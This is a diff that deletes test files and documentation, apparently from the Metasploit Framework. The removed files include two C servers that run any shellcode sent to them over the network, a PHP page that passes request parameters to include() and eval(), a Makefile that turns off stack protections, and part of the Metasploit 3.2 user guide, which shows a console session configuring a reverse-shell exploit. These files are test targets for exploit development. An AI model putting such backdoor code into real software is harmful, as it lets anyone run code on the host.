|
|
|
@ -1,105 +0,0 @@
|
||||||
/* exploitme coded in a hurry by Yoann Guillot and Julien Tinnes, used 'man select_tut' as skeleton */
|
|
||||||
#include <stdlib.h>
|
|
||||||
#include <stdio.h>
|
|
||||||
#include <unistd.h>
|
|
||||||
#include <sys/time.h>
|
|
||||||
#include <sys/types.h>
|
|
||||||
#include <string.h>
|
|
||||||
#include <signal.h>
|
|
||||||
#include <sys/socket.h>
|
|
||||||
#include <netinet/in.h>
|
|
||||||
#include <arpa/inet.h>
|
|
||||||
#include <errno.h>
|
|
||||||
#include <sys/mman.h>
|
|
||||||
#include <malloc.h>
|
|
||||||
|
|
||||||
#define LISTEN_PORT 4545
|
|
||||||
|
|
||||||
int vuln(void) {
|
|
||||||
struct sockaddr_in a;
|
|
||||||
int s, mysock;
|
|
||||||
int yes, ret, pagesize;
|
|
||||||
void *buf;
|
|
||||||
|
|
||||||
pagesize = sysconf(_SC_PAGE_SIZE);
|
|
||||||
if (pagesize == -1) {
|
|
||||||
perror("pagesize");
|
|
||||||
return -1;
|
|
||||||
}
|
|
||||||
|
|
||||||
if (pagesize < 4096)
|
|
||||||
pagesize=(4096/pagesize+1)*pagesize;
|
|
||||||
printf("Detected pagesize: %d\n", pagesize);
|
|
||||||
buf=memalign(pagesize, pagesize);
|
|
||||||
if (buf == NULL) {
|
|
||||||
perror("memalign");
|
|
||||||
return -1;
|
|
||||||
}
|
|
||||||
if ((s = socket (AF_INET, SOCK_STREAM, 0)) < 0) {
|
|
||||||
perror ("socket");
|
|
||||||
return -1;
|
|
||||||
}
|
|
||||||
yes = 1;
|
|
||||||
if (setsockopt
|
|
||||||
(s, SOL_SOCKET, SO_REUSEADDR,
|
|
||||||
(char *) &yes, sizeof (yes)) < 0) {
|
|
||||||
perror ("setsockopt");
|
|
||||||
close (s);
|
|
||||||
return -1;
|
|
||||||
}
|
|
||||||
memset (&a, 0, sizeof (a));
|
|
||||||
a.sin_port = htons (LISTEN_PORT);
|
|
||||||
a.sin_family = AF_INET;
|
|
||||||
if (bind
|
|
||||||
(s, (struct sockaddr *) &a, sizeof (a)) < 0) {
|
|
||||||
perror ("bind");
|
|
||||||
close (s);
|
|
||||||
return -1;
|
|
||||||
}
|
|
||||||
printf ("Send your shellcode to port %d\n",
|
|
||||||
(int) LISTEN_PORT);
|
|
||||||
listen (s, 10);
|
|
||||||
for (;;) {
|
|
||||||
mysock=accept(s, NULL, NULL);
|
|
||||||
if (mysock == -1) {
|
|
||||||
perror("accept");
|
|
||||||
close(s);
|
|
||||||
return -1;
|
|
||||||
}
|
|
||||||
if (!fork()) {
|
|
||||||
printf("Got new connexion\n");
|
|
||||||
close(s);
|
|
||||||
switch (yes=read(mysock, buf, pagesize)) {
|
|
||||||
case -1:
|
|
||||||
perror("read");
|
|
||||||
case 0:
|
|
||||||
close(mysock);
|
|
||||||
close(s);
|
|
||||||
return -1;
|
|
||||||
}
|
|
||||||
printf("Read %d bytes\n", yes);
|
|
||||||
/* This has the useful side effect of flushing the cache on architectures such as MIPS! */
|
|
||||||
ret=mprotect(buf, pagesize, PROT_READ|PROT_WRITE|PROT_EXEC);
|
|
||||||
if (ret) {
|
|
||||||
perror("mprotect");
|
|
||||||
return -1;
|
|
||||||
}
|
|
||||||
((void (*)())buf)();
|
|
||||||
return 42;
|
|
||||||
} else
|
|
||||||
close(mysock);
|
|
||||||
}
|
|
||||||
|
|
||||||
}
|
|
||||||
|
|
||||||
int main(void)
|
|
||||||
{
|
|
||||||
#ifdef SWITCH_STACK
|
|
||||||
unsigned char *m;
|
|
||||||
m = mmap(NULL, 1024 * 1024 * 2, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
|
|
||||||
m += (1024 * 1024 * 2) - 4;
|
|
||||||
__asm__("movl %0, %%esp; call vuln" : : "m" (m));
|
|
||||||
#else
|
|
||||||
vuln();
|
|
||||||
#endif
|
|
||||||
}
|
|
|
@ -1,18 +0,0 @@
|
||||||
<?php
|
|
||||||
if (isset($_REQUEST['path'])) {
|
|
||||||
include($_REQUEST['path']);
|
|
||||||
}
|
|
||||||
if (isset($_REQUEST['includeme'])) {
|
|
||||||
include($_REQUEST['includeme']);
|
|
||||||
}
|
|
||||||
if (isset($_REQUEST['evalme'])) {
|
|
||||||
eval($_REQUEST['evalme']);
|
|
||||||
}
|
|
||||||
|
|
||||||
?>
|
|
||||||
<html>
|
|
||||||
<head><title>Your mom</title></head>
|
|
||||||
<body>
|
|
||||||
<H1>Your mom</H1>
|
|
||||||
</body>
|
|
||||||
</html>
|
|
|
@ -1,17 +0,0 @@
|
||||||
|
|
||||||
SOURCES=testsrv.c
|
|
||||||
OPTIONS=-fno-stack-protector -Wa,--execstack -Wl,-z,execstack
|
|
||||||
|
|
||||||
default:x86_32 x86_64
|
|
||||||
all: x86_32 x86_64
|
|
||||||
|
|
||||||
x86_32:
|
|
||||||
gcc -m32 ${OPTIONS} -o testsrv32 ${SOURCES}
|
|
||||||
x86_64:
|
|
||||||
gcc -m64 ${OPTIONS} -o testsrv64 ${SOURCES}
|
|
||||||
|
|
||||||
clean:
|
|
||||||
rm testsrv32
|
|
||||||
rm testsrv64
|
|
||||||
|
|
||||||
|
|
|
@ -1,2 +0,0 @@
|
||||||
This is meant to be used in conjunction with the test/aggressive exploit. It
|
|
||||||
simply executes whatever code is passed to it over the socket.
|
|
|
@ -1,129 +0,0 @@
|
||||||
|
|
||||||
/*
|
|
||||||
* srv.c -- Example server for easy exploiting
|
|
||||||
*
|
|
||||||
* Usage: srv <port>
|
|
||||||
*
|
|
||||||
* Example:
|
|
||||||
*
|
|
||||||
* C:\> srv 1234
|
|
||||||
* C:\> nload localhost 1234 -s code.s
|
|
||||||
*
|
|
||||||
*/
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
#include <stdio.h>
|
|
||||||
#include <string.h>
|
|
||||||
#include <errno.h>
|
|
||||||
|
|
||||||
#if defined _WIN32
|
|
||||||
#include <winsock2.h>
|
|
||||||
#pragma comment(lib, "ws2_32.lib")
|
|
||||||
#else
|
|
||||||
#include <sys/socket.h>
|
|
||||||
#include <netinet/in.h>
|
|
||||||
#include <arpa/inet.h>
|
|
||||||
#include <netdb.h>
|
|
||||||
#include <unistd.h>
|
|
||||||
#endif
|
|
||||||
|
|
||||||
#define SERVER_PORT 5432
|
|
||||||
#define MAX_PENDING 1
|
|
||||||
|
|
||||||
|
|
||||||
int ehlo, from;
|
|
||||||
|
|
||||||
/* Main function */
|
|
||||||
|
|
||||||
int main(int argc, char **argv) {
|
|
||||||
struct sockaddr_in sin;
|
|
||||||
char buf[8092], *ptr;
|
|
||||||
int c, i, len, port;
|
|
||||||
int s, new_s, bytes;
|
|
||||||
#if defined _WIN32
|
|
||||||
int wsaret;
|
|
||||||
WSADATA wsaData;
|
|
||||||
#endif
|
|
||||||
int (*funct)();
|
|
||||||
|
|
||||||
|
|
||||||
/* Command line parameters */
|
|
||||||
if (argv[1])
|
|
||||||
port = atoi(argv[1]);
|
|
||||||
else
|
|
||||||
port = SERVER_PORT;
|
|
||||||
|
|
||||||
#if defined _WIN32
|
|
||||||
/* Initialize winsock */
|
|
||||||
wsaret = WSAStartup(0x101, &wsaData);
|
|
||||||
if(wsaret != 0)
|
|
||||||
return (0);
|
|
||||||
|
|
||||||
/* Create a socket */
|
|
||||||
if ((s = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0)) < 0) {
|
|
||||||
fprintf(stderr, "%s: WSASocket - %s\n", argv[0], strerror(errno));
|
|
||||||
exit(1);
|
|
||||||
}
|
|
||||||
#else
|
|
||||||
if ((s = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
|
|
||||||
fprintf(stderr, "%s: socket - %s\n", argv[0], strerror(errno));
|
|
||||||
exit(1);
|
|
||||||
}
|
|
||||||
|
|
||||||
#endif
|
|
||||||
|
|
||||||
/* Initialize the addres data structure */
|
|
||||||
memset((void *)&sin, 0, sizeof(sin));
|
|
||||||
sin.sin_family = AF_INET;
|
|
||||||
sin.sin_addr.s_addr = INADDR_ANY;
|
|
||||||
sin.sin_port = htons(port);
|
|
||||||
|
|
||||||
/* Bind an address to the socket */
|
|
||||||
if (bind(s, (struct sockaddr *)&sin, sizeof(sin)) < 0) {
|
|
||||||
fprintf(stderr, "%s: bind - %s\n", argv[0], strerror(errno));
|
|
||||||
exit(1);
|
|
||||||
}
|
|
||||||
|
|
||||||
/* Set the length of the listen queue */
|
|
||||||
if (listen(s, MAX_PENDING) < 0) {
|
|
||||||
fprintf(stderr, "%s: listen - %s\n", argv[0], strerror(errno));
|
|
||||||
exit(1);
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
while (1)
|
|
||||||
{
|
|
||||||
#if defined _WIN32
|
|
||||||
__try
|
|
||||||
{
|
|
||||||
#endif
|
|
||||||
len = sizeof(sin);
|
|
||||||
new_s = accept(s, (struct sockaddr *)&sin, &len);
|
|
||||||
|
|
||||||
memset(buf, 0, sizeof(buf));
|
|
||||||
bytes = recv(new_s, buf, sizeof(buf), 0);
|
|
||||||
|
|
||||||
printf("recv'd %d\n", bytes);
|
|
||||||
|
|
||||||
#if defined _WIN32
|
|
||||||
__asm mov edi, new_s
|
|
||||||
#else
|
|
||||||
// TODO: add inlined assembly for "non windows" compiler
|
|
||||||
#endif
|
|
||||||
|
|
||||||
funct = (int (*)()) buf;
|
|
||||||
(int)(*funct)();
|
|
||||||
#if defined _WIN32
|
|
||||||
} __except(EXCEPTION_EXECUTE_HANDLER)
|
|
||||||
{
|
|
||||||
fprintf(stderr, "Got exception: %lu\n", GetExceptionCode());
|
|
||||||
}
|
|
||||||
#endif
|
|
||||||
}
|
|
||||||
|
|
||||||
return (0);
|
|
||||||
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
Binary file not shown.
|
@ -1,910 +0,0 @@
|
||||||
%%
|
|
||||||
% This file is part of the Metasploit Framework.
|
|
||||||
%%
|
|
||||||
|
|
||||||
%
|
|
||||||
% Title: Metasploit Framework User Guide
|
|
||||||
% Version: $Revision: 4068 $
|
|
||||||
%
|
|
||||||
|
|
||||||
\documentclass{report}
|
|
||||||
\usepackage{graphicx}
|
|
||||||
\usepackage{color}
|
|
||||||
\usepackage{amsmath}
|
|
||||||
\usepackage[colorlinks,urlcolor=blue,linkcolor=black,citecolor=blue]{hyperref}
|
|
||||||
|
|
||||||
\begin{document}
|
|
||||||
|
|
||||||
\title{Metasploit Framework User Guide}
|
|
||||||
\author{metasploit.com}
|
|
||||||
|
|
||||||
\begin{titlepage}
|
|
||||||
\begin{center}
|
|
||||||
|
|
||||||
\huge{Metasploit Framework User Guide}
|
|
||||||
\ \\[10mm]
|
|
||||||
\large{Version 3.2}
|
|
||||||
\\[10mm]
|
|
||||||
|
|
||||||
\includegraphics{hacker04.jpg}
|
|
||||||
|
|
||||||
\ \\[10mm]
|
|
||||||
|
|
||||||
\small{\url{http://www.metasploit.com/}}
|
|
||||||
|
|
||||||
\rule{10cm}{1pt} \\[4mm]
|
|
||||||
\renewcommand{\arraystretch}{0.5}
|
|
||||||
\end{center}
|
|
||||||
\end{titlepage}
|
|
||||||
|
|
||||||
\tableofcontents
|
|
||||||
|
|
||||||
\setlength{\parindent}{0pt} \setlength{\parskip}{8pt}
|
|
||||||
|
|
||||||
|
|
||||||
\chapter{Introduction}
|
|
||||||
|
|
||||||
\par
|
|
||||||
This is the official user guide for version 3.2 of the Metasploit Framework. This
|
|
||||||
guide is designed to provide an overview of what the framework is, how it works,
|
|
||||||
and what you can do with it. The latest version of this document can be found
|
|
||||||
on the Metasploit Framework web site.
|
|
||||||
|
|
||||||
\par
|
|
||||||
The Metasploit Framework is a platform for writing, testing, and using exploit code.
|
|
||||||
The primary users of the Framework are professionals performing penetration testing,
|
|
||||||
shellcode development, and vulnerability research.
|
|
||||||
|
|
||||||
\par
|
|
||||||
\pagebreak
|
|
||||||
|
|
||||||
\chapter{Installation}
|
|
||||||
|
|
||||||
\section{Installation on Unix}
|
|
||||||
\label{INSTALL-UNIX}
|
|
||||||
\par
|
|
||||||
Installing the Framework is as easy as extracting the tarball, changing into the
|
|
||||||
created directory, and executing your preferred user interface. We strongly
|
|
||||||
recommend that you use a version of the Ruby interpreter that was built with
|
|
||||||
support for the GNU Readline library. If you are using the Framework on Mac OS
|
|
||||||
X prior to 10.5.1, you will need to install GNU Readline and then recompile the Ruby
|
|
||||||
interpreter. Using a version of Ruby with Readline support enables tab completion
|
|
||||||
of the console interface. The \texttt{msfconsole} user interface is preferred for everyday
|
|
||||||
use, but the \texttt{msfweb} interface can be useful for live demonstrations.
|
|
||||||
|
|
||||||
\par
|
|
||||||
To perform a system-wide installation, we recommend that you copy the entire
|
|
||||||
Framework directory into a globally accessible location (/usr/local/msf) and
|
|
||||||
then create symbolic links from the msf* applications to a directory in the
|
|
||||||
system path (/usr/local/bin). User-specific modules can be placed into
|
|
||||||
\texttt{HOME/.msf3/modules} directory. The structure of this directory should
|
|
||||||
mirror that of the global modules directory found in the framework
|
|
||||||
distribution.
|
|
||||||
|
|
||||||
\par
|
|
||||||
The latest stable release of the Ruby interpreter (1.8.7-p72) contains a bug which
|
|
||||||
breaks many of the Metasploit Framework modules. The only way to work around this
|
|
||||||
bug is by downgrading to an older version of 1.8.6 or by upgrading to the latest
|
|
||||||
stable snapshot of 1.8.7. The latest stable snapshot can be downloaded from
|
|
||||||
\url{ftp://ftp.ruby-lang.org/pub/ruby/stable-snapshot.tar.gz}. For more information
|
|
||||||
about this issue, please see the Ubuntu ticket: \url{https://bugs.launchpad.net/bugs/282302}.
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
\section{Installation on Windows}
|
|
||||||
\label{INSTALL-WIN32}
|
|
||||||
|
|
||||||
\par
|
|
||||||
The Metasploit Framework is fully supported on the Windows platform. To install the Framework on Windows,
|
|
||||||
download the latest version of the Windows installer from \url{http://metasploit.com/framework/download/}, perform
|
|
||||||
an online update, and launch the \texttt{msfgui} interface from the Start Menu. To access a standard
|
|
||||||
\texttt{msfconsole} interface, select the Console option from the Window menu. As an alternative, you can
|
|
||||||
use the \texttt{msfweb} interface, which supports Mozilla Firefox and Internet Explorer.
|
|
||||||
|
|
||||||
|
|
||||||
\section{Platform Caveats}
|
|
||||||
\label{INSTALL-CAVEAT}
|
|
||||||
|
|
||||||
\par
|
|
||||||
When using the Framework on the Windows platform, keep in mind that \texttt{msfgui} and \texttt{msfweb} are the only
|
|
||||||
supported user interfaces. While \texttt{msfcli} may appear to work on the command line, it will will run into
|
|
||||||
trouble as soon as more than one active thread is present. This can prevent most exploits, auxiliary modules,
|
|
||||||
and plugins from functioning. This problem does not occur within Cygwin environment. The Windows platform does
|
|
||||||
not support raw IP packet injection, packet injection, wireless driver exploitation, or SMB relaying attacks
|
|
||||||
without specific configuration. In most cases, those features can be accessed by running Metasploit inside of a
|
|
||||||
Linux-based virtual machine (such as BackTrack 3 in VMWare).
|
|
||||||
|
|
||||||
\section{Supported Operating Systems}
|
|
||||||
\label{INSTALL-SUPPORT}
|
|
||||||
|
|
||||||
\par
|
|
||||||
The Framework should run on almost any Unix-based operating system that includes a complete and modern version
|
|
||||||
of the Ruby interpreter (1.8.4+). Every stable version of the Framework is tested with three primary platforms:
|
|
||||||
|
|
||||||
\begin{itemize}
|
|
||||||
\item Linux 2.6 (x86, ppc)
|
|
||||||
\item Windows NT (2000, XP, 2003, Vista)
|
|
||||||
\item MacOS X 10.5 (x86, ppc)
|
|
||||||
\end{itemize}
|
|
||||||
|
|
||||||
\par
|
|
||||||
For information about manually installing the framework, including all of the required dependencies needed
|
|
||||||
to use the new \texttt{msfgui} interface, please see the framework web site: \url{http://metasploit.com/framework/support}
|
|
||||||
|
|
||||||
\section{Updating the Framework}
|
|
||||||
\label{INSTALL-UPDATE}
|
|
||||||
|
|
||||||
\par
|
|
||||||
The Framework can be updated using a standard \texttt{Subversion} client. The
|
|
||||||
old \texttt{msfupdate} tool is no longer supported. Windows users can click on
|
|
||||||
the Online Update link within the Metasploit 3 program folder on the Start Menu.
|
|
||||||
To obtain the latest updates on a Unix-like platform, change into the Framework
|
|
||||||
installation directory and execute \texttt{svn update}. If you are accessing the
|
|
||||||
internet through a HTTP proxy server, please see the Subversion FAQ on proxy
|
|
||||||
access: \url{http://subversion.tigris.org/faq.html#proxy}
|
|
||||||
|
|
||||||
\pagebreak
|
|
||||||
|
|
||||||
\chapter{Getting Started}
|
|
||||||
|
|
||||||
\section{The Console Interface}
|
|
||||||
\label{STARTED-CONSOLE}
|
|
||||||
|
|
||||||
\par
|
|
||||||
After you have installed the Framework, you should verify that everything is
|
|
||||||
working properly The easiest way to do this is to execute the
|
|
||||||
\texttt{msfconsole} user interface. If you are using Windows, start the \texttt{msfgui}
|
|
||||||
interface and access the \texttt{Console} link from the Window menu.
|
|
||||||
The console should display an ASCII art logo, print the current version, some module
|
|
||||||
counts, and drop to a "msf> " prompt. From this prompt, type \texttt{help} to get a list of
|
|
||||||
valid commands. You are currently in the "main" mode; this allows you to list
|
|
||||||
exploits, list payloads, and configure global options. To list all available
|
|
||||||
exploits, type \texttt{show exploits}. To obtain more information about a given
|
|
||||||
exploit, type \texttt{info module\_name}.
|
|
||||||
|
|
||||||
\par
|
|
||||||
The console interface was designed to be flexible and fast. If you
|
|
||||||
enter a command that is not recognized by the console, it will scan the system
|
|
||||||
path to determine if it is a system command. \footnote{If you are accessing the console
|
|
||||||
through \texttt{msfweb}, this feature has been disabled for security reasons.}
|
|
||||||
If it finds a match, that command will be executed with the supplied arguments. This allows you to use
|
|
||||||
your standard set of tools without having to leave the console. The console interface
|
|
||||||
supports tab completion of known commands. The \texttt{msfweb} interface
|
|
||||||
includes tab completion by default, but the \texttt{msfconsole} interface requires that
|
|
||||||
Ruby was built with the Readline library. For more information on tab completion, please
|
|
||||||
refer to appendix \ref{REF-TAB}.
|
|
||||||
|
|
||||||
\par
|
|
||||||
The console startup will similar to the text below.
|
|
||||||
|
|
||||||
\begin{verbatim}
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
o 8 o o
|
|
||||||
8 8 8
|
|
||||||
ooYoYo. .oPYo. o8P .oPYo. .oPYo. .oPYo. 8 .oPYo. o8 o8P
|
|
||||||
8' 8 8 8oooo8 8 .oooo8 Yb.. 8 8 8 8 8 8 8
|
|
||||||
8 8 8 8. 8 8 8 'Yb. 8 8 8 8 8 8 8
|
|
||||||
8 8 8 `Yooo' 8 `YooP8 `YooP' 8YooP' 8 `YooP' 8 8
|
|
||||||
..:..:..:.....:::..::.....::.....:8.....:..:.....::..::..:
|
|
||||||
::::::::::::::::::::::::::::::::::8:::::::::::::::::::::::
|
|
||||||
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
|
|
||||||
|
|
||||||
|
|
||||||
=[ msf v3.1-release
|
|
||||||
+ -- --=[ 263 exploits - 116 payloads
|
|
||||||
+ -- --=[ 17 encoders - 6 nops
|
|
||||||
=[ 45 aux
|
|
||||||
|
|
||||||
msf >
|
|
||||||
\end{verbatim}
|
|
||||||
|
|
||||||
\section{The GUI Interface}
|
|
||||||
\label{STARTED-GUI}
|
|
||||||
|
|
||||||
\par
|
|
||||||
The \texttt{msfgui} interface was introduced in version 3.1 and provides the functionality
|
|
||||||
of \texttt{msfconsole} in addition to many new features. To access a \texttt{msfconsole}
|
|
||||||
shell, select the Console option from the Window menu. To search for a module within the
|
|
||||||
module tree, enter a string or regular expression into the search box and click the button
|
|
||||||
labeled Find. All matching modules will appear the tree below. To execute a module,
|
|
||||||
double-click its name in the tree, or right-click its name and select the Execute option.
|
|
||||||
To view the source code of any module, right-click its name and select the View Code option.
|
|
||||||
|
|
||||||
\par
|
|
||||||
Once a module is selected, a wizard-based interface will walk you through the process of
|
|
||||||
configuring and launching the module. In the case of exploit modules, the output from
|
|
||||||
the module will appear in the main window under the Module Output tab. Any sessions created
|
|
||||||
by the module will appear in the Sessions view in the main window. To access a session,
|
|
||||||
double-click the session name in the view, or open a Console and use the \texttt{sessions}
|
|
||||||
command to interact with the shell. Metepreter sessions will spawn a shell when double-clicked,
|
|
||||||
but also offer a process and file browser via the right-click context menu.
|
|
||||||
|
|
||||||
|
|
||||||
\section{The Command Line Interface}
|
|
||||||
\label{STARTED-CLI}
|
|
||||||
|
|
||||||
\par
|
|
||||||
If you are looking for a way to automate exploit testing, or simply do not want
|
|
||||||
to use an interactive interface, then \texttt{msfcli} may be the solution.
|
|
||||||
\footnote{The msfcli interface will not work properly with the native Windows version of Ruby}
|
|
||||||
This interface takes a module name as the first parameter, followed by the options
|
|
||||||
in a VAR=VAL format, and finally an action code to specify what should be done.
|
|
||||||
The module name is used to determine which exploit or auxiliary module you
|
|
||||||
want to launch.
|
|
||||||
|
|
||||||
\par
|
|
||||||
The action code is a single letter; S for summary, O for options, A for advanced
|
|
||||||
options, I for IDS evasions, P for payloads, T for targets, AC for auxiliary
|
|
||||||
actions, C to try a vulnerability check, and E to exploit. The saved
|
|
||||||
datastore will be loaded and used at startup, allowing you to configure
|
|
||||||
convenient default options in the Global or module-specific datastore of
|
|
||||||
\texttt{msfconsole}, save them, and take advantage of them in the
|
|
||||||
\texttt{msfcli} interface. As of version 3.1, the \texttt{msfcli} interface
|
|
||||||
will also work with auxiliary modules.
|
|
||||||
|
|
||||||
\section{The Web Interface}
|
|
||||||
\label{STARTED-WEB}
|
|
||||||
|
|
||||||
\par
|
|
||||||
The \texttt{msfweb} interface is based on Ruby on Rails. To access this interface,
|
|
||||||
execute \texttt{msfweb} to start up the server. The \texttt{msfweb}
|
|
||||||
interface uses the WEBrick web server to handle requests. By default, \texttt{msfweb} will listen
|
|
||||||
on the loopback address (127.0.0.1) on port 55555. A log message should be displayed indicating that
|
|
||||||
the service has started. To access the interface, open your browser to the appropriate URL
|
|
||||||
(\url{http://127.0.0.1:55555/} by default). The main \texttt{msfweb} interface consists of a toolbar
|
|
||||||
containing various icons and a background with the metasploit logo. If you want access to a console,
|
|
||||||
click the Console link. This console interface is nearly identical to the standard
|
|
||||||
\texttt{msfconsole} interface. The Exploits, Auxiliary, and Payloads links will walk you through
|
|
||||||
the process of selecting a module, configuring it, and running it. Once an exploit is run and
|
|
||||||
a session is created, you can access these sessions from the Sessions link. These icons will open up
|
|
||||||
a sub-window within the page. These windows can be moved, minimized, maximized, and closed.
|
|
||||||
|
|
||||||
\pagebreak
|
|
||||||
\chapter{The DataStore}
|
|
||||||
|
|
||||||
\par
|
|
||||||
The datastore system is a core component of the Framework. The interfaces use
|
|
||||||
it to configure settings, the payloads use it patch opcodes, the exploits
|
|
||||||
use it to define parameters, and it is used internally to pass options between
|
|
||||||
modules. There are two types of datastores. First, there is a single global
|
|
||||||
datastore that can be accessed using the \texttt{setg} and \texttt{unsetg}
|
|
||||||
commands from \texttt{msfconsole}. Second, each module instance has its own
|
|
||||||
datastore in which arbitrary options or parameters can be stored. For
|
|
||||||
example, when the \texttt{RHOST} option is set, its value is stored in the
|
|
||||||
datastore of the module instance that it was set relative to. In the event
|
|
||||||
that an option was not set in a module instance's datastore, the framework
|
|
||||||
will consult the global datastore to see if it was set there.
|
|
||||||
|
|
||||||
\section{Global DataStore}
|
|
||||||
\label{ENV-GLOBAL}
|
|
||||||
\par
|
|
||||||
The Global datastore is accessed through the console via the \texttt{setg} and
|
|
||||||
\texttt{unsetg} commands. The following example shows the Global datastore
|
|
||||||
state after a fresh installation. Calling \texttt{setg} with no arguments
|
|
||||||
displays the current global datastore. Default settings are automatically
|
|
||||||
loaded when the interface starts.
|
|
||||||
|
|
||||||
\begin{verbatim}
|
|
||||||
msf > setg
|
|
||||||
|
|
||||||
Global
|
|
||||||
======
|
|
||||||
|
|
||||||
No entries in data store.
|
|
||||||
|
|
||||||
\end{verbatim}
|
|
||||||
|
|
||||||
\section{Module DataStore}
|
|
||||||
\label{ENV-TEMP}
|
|
||||||
\par
|
|
||||||
|
|
||||||
The module datastore is accessed through the \texttt{set} and \texttt{unset}
|
|
||||||
commands. This datastore only applies to the currently loaded module;
|
|
||||||
switching to another module via the \texttt{use} command will result in the
|
|
||||||
module datastore for the current module being swapped out with the datastore
|
|
||||||
of the new module. If no module is currently active, the \texttt{set} and
|
|
||||||
\texttt{unset} commands will operate on the global datastore. Switching back
|
|
||||||
to the original module will initialize a new datastore for the module. To
|
|
||||||
persist the contents of either the global or module-specific datastores, the
|
|
||||||
\texttt{save} command should be used.
|
|
||||||
|
|
||||||
\section{Saved DataStore}
|
|
||||||
\label{ENV-SAVE}
|
|
||||||
|
|
||||||
\par
|
|
||||||
The \texttt{save} command can be used to synchronize the Global and all module
|
|
||||||
datastores to disk. The saved environment is written to
|
|
||||||
\texttt{HOME/.msf3/config} and will be loaded when any of the user interfaces
|
|
||||||
are executed.
|
|
||||||
|
|
||||||
\section{DataStore Efficiency}
|
|
||||||
\label{ENV-EFF}
|
|
||||||
|
|
||||||
\par
|
|
||||||
This split datastore system allows you save time during exploit development
|
|
||||||
and penetration testing. Common options between exploits can be defined in the
|
|
||||||
Global datastore once and automatically used in any exploit you load thereafter.
|
|
||||||
|
|
||||||
\par
|
|
||||||
The example below shows how the \texttt{LPORT}, \texttt{LHOST}, and
|
|
||||||
\texttt{PAYLOAD} global datastore can be used to save time when exploiting a
|
|
||||||
set of Windows-based targets. If this datastore was set and a Linux exploit
|
|
||||||
was being used, the module datastore (via \texttt{set} and \texttt{unset})
|
|
||||||
could be used to override these defaults.
|
|
||||||
|
|
||||||
{\footnotesize
|
|
||||||
\begin{verbatim}
|
|
||||||
f > setg LHOST 192.168.0.10
|
|
||||||
LHOST => 192.168.0.10
|
|
||||||
msf > setg LPORT 4445
|
|
||||||
LPORT => 4445
|
|
||||||
msf > setg PAYLOAD windows/shell/reverse_tcp
|
|
||||||
PAYLOAD => windows/shell/reverse_tcp
|
|
||||||
msf > use windows/smb/ms04_011_lsass
|
|
||||||
msf exploit(ms04_011_lsass) > show options
|
|
||||||
|
|
||||||
Module options:
|
|
||||||
|
|
||||||
...
|
|
||||||
|
|
||||||
Payload options:
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
EXITFUNC thread yes Exit technique: seh, thread, process
|
|
||||||
LHOST 192.168.0.10 yes The local address
|
|
||||||
LPORT 4445 yes The local port
|
|
||||||
|
|
||||||
...
|
|
||||||
|
|
||||||
\end{verbatim}}
|
|
||||||
|
|
||||||
\section{DataStore Variables}
|
|
||||||
\label{ENV-VAR}
|
|
||||||
\par
|
|
||||||
The datastore can be used to configure many aspects of the Framework, ranging
|
|
||||||
from user interface settings to specific timeout options in the network socket
|
|
||||||
API. This section describes the most commonly used environment variables.
|
|
||||||
|
|
||||||
\par
|
|
||||||
For a complete listing of all environment variables, please see the file
|
|
||||||
Environment.txt in the ``documentation'' subdirectory of the Framework.
|
|
||||||
|
|
||||||
\subsection{LogLevel}
|
|
||||||
\par
|
|
||||||
This variable is used to control the verbosity of log messages provided
|
|
||||||
by the components of the Framework. If this variable is not set, framework
|
|
||||||
logging is disabled. Setting this variable to 0 will turn on default log
|
|
||||||
messages. A value of 1 will enable additional, non-verbose log messages that
|
|
||||||
may be helpful in troubleshooting. A value of 2 will enable verbose debug
|
|
||||||
logging. A value of 3 will enable all logging and may generate a large amount
|
|
||||||
of log messages. Only use this when much additional information is required.
|
|
||||||
Log files are stored in the logs subdirectory of the user's configuration
|
|
||||||
directory (~/.msf3/logs). Unlike version 2 of the framework, debugging
|
|
||||||
messages are never written directly to the console.
|
|
||||||
|
|
||||||
\subsection{MsfModulePaths}
|
|
||||||
\par
|
|
||||||
This variable can be used to add additional paths from which to load modules.
|
|
||||||
By default, the framework will load modules from the modules directory found
|
|
||||||
within the framework install. It will also load modules from ~/.msf3/modules
|
|
||||||
if such a path exists. This variable makes it possible to statically define
|
|
||||||
additional paths from which to load modules.
|
|
||||||
|
|
||||||
\pagebreak
|
|
||||||
|
|
||||||
\chapter{Using the Framework}
|
|
||||||
|
|
||||||
\section{Choosing a Module}
|
|
||||||
\par
|
|
||||||
From the \texttt{msfconsole} interface, you can view the list of modules that
|
|
||||||
are available for you to interact with. You can see all available modules
|
|
||||||
through the \texttt{show all} command. To see the list of modules of a
|
|
||||||
particular type you can use the \texttt{show moduletype} command, where
|
|
||||||
\textit{moduletype} is any one of exploits, encoders, payloads, and so on.
|
|
||||||
You can select a module with the \texttt{use} command by specifying the
|
|
||||||
module's name as the argument. The \texttt{info} command can be used to view
|
|
||||||
information about a module without using it. Unlike Metasploit 2.x, the new
|
|
||||||
version of Metasploit supports interacting with each different module types
|
|
||||||
through the \texttt{use} command. In Metasploit 2.x, only exploit modules
|
|
||||||
could be interacted with.
|
|
||||||
|
|
||||||
\section{Exploit Modules}
|
|
||||||
|
|
||||||
\par
|
|
||||||
Exploit modules are the defacto module in Metasploit which are used to
|
|
||||||
encapsulate an exploit.
|
|
||||||
|
|
||||||
\subsection{Configuring the Active Exploit}
|
|
||||||
|
|
||||||
\par
|
|
||||||
Once you have selected an exploit with the \texttt{use} command, the next step
|
|
||||||
is to determine what options it requires. This can be accomplished with the
|
|
||||||
\texttt{show options} command. Most exploits use \texttt{RHOST} to specify the
|
|
||||||
target address and \texttt{RPORT} to set the target port. Use the \texttt{set}
|
|
||||||
command to configure the appropriate values for all required options. If you
|
|
||||||
have any questions about what a given option does, refer to the module source
|
|
||||||
code. Advanced options are available with some exploit modules, these can be
|
|
||||||
viewed with the \texttt{show advanced} command. Options useful for IDS and IPS
|
|
||||||
evasion can be viewed with the \texttt{show evasion} command.
|
|
||||||
|
|
||||||
\subsection{Verifying the Exploit Options}
|
|
